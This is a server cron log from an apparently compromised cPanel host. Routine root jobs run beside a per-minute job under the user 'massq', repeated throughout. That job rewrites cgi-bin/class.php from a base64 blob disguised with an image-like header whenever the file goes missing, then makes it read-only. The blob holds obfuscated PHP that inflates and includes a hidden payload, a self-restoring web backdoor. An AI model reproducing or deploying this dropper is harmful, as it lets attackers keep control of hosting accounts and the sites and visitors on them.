Nov  9 06:18:01 server CROND[14879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:19:01 server CROND[15354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:20:01 server CROND[16168]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 06:20:01 server CROND[16169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:20:01 server CROND[16172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:20:01 server CROND[16175]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 06:20:01 server CROND[16174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:21:01 server CROND[16690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:22:01 server CROND[17181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:23:01 server CROND[17378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:24:01 server CROND[18179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:25:01 server CROND[18341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:25:01 server CROND[18342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:25:01 server CROND[18344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:25:01 server CROND[18343]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:26:01 server CROND[18662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:27:01 server CROND[19673]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:27:01 server CROND[19674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:28:01 server CROND[20477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:29:01 server CROND[21311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:30:01 server CROND[22127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:30:01 server CROND[22128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 06:30:01 server CROND[22130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:30:01 server CROND[22129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
